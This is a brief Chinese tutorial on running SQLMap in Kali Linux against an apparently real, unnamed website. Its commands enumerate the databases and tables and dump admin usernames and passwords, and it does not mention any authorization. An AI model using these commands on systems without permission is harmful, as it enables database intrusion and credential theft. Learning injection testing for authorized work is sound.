kali linux中使用SQLMap完成一次对不安全web网站数据库的扫描

SQLMap扫描不安全web网站的流程

首先收集到目标的网址 此处我不做展示

打开linux 上的终端输入 sqlmap -u "url" 对目标网址进行扫描
发现目标存在漏洞（其id是可注入的）

接着我们输入sqlmap -u "url" --dbs 来查询目标的数据库 我查询到了三个

接着我们来看一些我们所浏览的页面（url）在哪个数据库中
输入sqlmap -u "url" --current-db 发现在 maoshe中

接着我们来查询maoshe中的数据表

输入sqlmap -u "url" -D "maoshe" --tables

发现其数据库下有四个表 然后我们来浏览数据表中的字段（我这里查询的是admin数据表中的字段）
输入sqlmap -u "url" -D "maoshe" -T "admin" --columns

最后我们破译数据库字段中的信息
输入sqlmap -u "url" -D "maoshe" -T "admin" -C "username,password" --dump

这样我们就成功扫描了一个不安全网站的数据库

此文只是一个测试案例 如果读者你发现了一个不安全网站 请想清楚后果再去测试
后果自负

如有错误请纠正 谢谢